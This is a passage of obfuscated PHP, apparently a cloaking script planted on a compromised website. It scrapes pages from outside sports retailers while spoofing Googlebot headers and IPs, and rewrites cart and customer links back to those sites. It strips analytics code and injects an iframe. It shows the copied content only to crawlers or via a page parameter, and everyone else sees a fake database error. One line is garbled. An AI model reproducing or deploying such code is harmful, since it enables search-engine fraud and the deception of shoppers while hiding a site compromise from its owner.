($spar); function formaturl($l1, $l2) { if (preg_match_all ( "/(]+src=\"([^\"]+)\"[^>]*>)|(]+href=\"([^\"]+)\"[^>]*>)|(]+src='([^']+)'[^>]*>)|(]+href='([^']+)'[^>]*>)/i", $l1, $regs )) { foreach ( $regs [0] as $num => $url ) { $l1 = str_replace ( $url, lIIIIl ( $url, $l2 ), $l1 ); } } return $l1; } function lIIIIl($l1, $l2) { if (preg_match ( "/(.*)(href|src)\=(.+?)( |\/\>|\>).*/i", $l1, $regs )) { $I2 = $regs [3]; } if (strlen ( $I2 ) > 0) { $I1 = str_replace ( chr ( 34 ), "", $I2 ); $I1 = str_replace ( chr ( 39 ), "", $I1 ); } else { return $l1; } $url_parsed = parse_url ( $l2 ); $scheme = $url_parsed ["scheme"]; if ($scheme != "") { $scheme = $scheme . "://"; } $host = $url_parsed ["host"]; $l3 = $scheme . $host; if (strlen ( $l3 ) == 0) { return $l1; } $path = dirname ( $url_parsed ["path"] ); if ($path [0] == "\\") { $path = ""; } $pos = strpos ( $I1, "#" ); if ($pos > 0) $I1 = substr ( $I1, 0, $pos ); if (preg_match ( "/^(http|https|ftp):(\/\/|\\\\)(([\w\/\\\+\-~`@:%])+\.)+([\w\/\\\.\=\?\+\-~`@\':!%#]|(&)|&)+/i", $I1 )) { return $l1; } elseif ($I1 [0] == "/") { $I1 = $l3 . $I1; } elseif (substr ( $I1, 0, 3 ) == "../") { while ( substr ( $I1, 0, 3 ) == "../" ) { $I1 = substr ( $I1, strlen ( $I1 ) - (strlen ( $I1 ) - 3), strlen ( $I1 ) - 3 ); if (strlen ( $path ) > 0) { $path = dirname ( $path ); } } $I1 = $l3 . $path . "/" . $I1; } elseif (substr ( $I1, 0, 2 ) == "./") { $I1 = $l3 . $path . substr ( $I1, strlen ( $I1 ) - (strlen ( $I1 ) - 1), strlen ( $I1 ) - 1 ); } elseif (strtolower ( substr ( $I1, 0, 7 ) ) == "mailto:" || strtolower ( substr ( $I1, 0, 11 ) ) == "javascript:") { return $l1; } else { $I1 = $l3 . $path . "/" . $I1; } return str_replace ( $I2, "\"$I1\"", $l1 ); } if(function_exists('curl_init')){ $s = curl_init(); curl_setopt($s,CURLOPT_URL,$fromsite . $url); curl_setopt($s,CURLOPT_RETURNTRANSFER,1); curl_setopt($s,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'); curl_setopt($s,CURLOPT_REFERER,"http://www.google.com"); curl_setopt($s, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240')); $content = curl_exec($s); }else{$content=file_get_contents($fromsite . $url);} $$content = focontent = str_replace("/js",$fromsite."js",$content); $content = str_replace("/images",$fromsite."images",$content); $content = str_replace($repstr.$fromsite,$fromsite,$content); $content = str_replace("action=\"/cart","action=\"".$fromsite."cart",$content); $content = str_replace($repstr."/cart",$fromsite."cart",$content); $content = str_replace($repstr."/customer",$fromsite."customer",$content); $content = str_replace($repstr."javascript:void","javascript:void",$content); $content = str_replace("
",$iframe."",$content); $content = str_replace("statcounter","sdf",$content); $content = str_replace("ga(","sdfsdf",$content); $content = str_replace("google-analytics.com","sdfsd",$content); $content = str_replace("linezing.com","sdfsdf",$content); $content = str_replace("comm100.com","sdfsdf",$content); $content = str_replace($repstr."/",$repstr,$content); $content = str_ireplace('',''.chr(13).chr(10).'',$content); $content = str_replace("https://www.lovellsoccer.co.uk/",$repstr, $content); $content = str_replace('http://www.sportsdirect.com/',"", $content); $content = str_replace('www.googletagmanager.com',"", $content); $content = preg_replace("/\?page=http(.*?)(\"|\')/i","$2",$content); if(isset($_GET['page'])){ echo $content; exit; } if(CheckAgt($spi)== '1'){ echo $content; exit; } ?> Database Error

Error establishing a database connection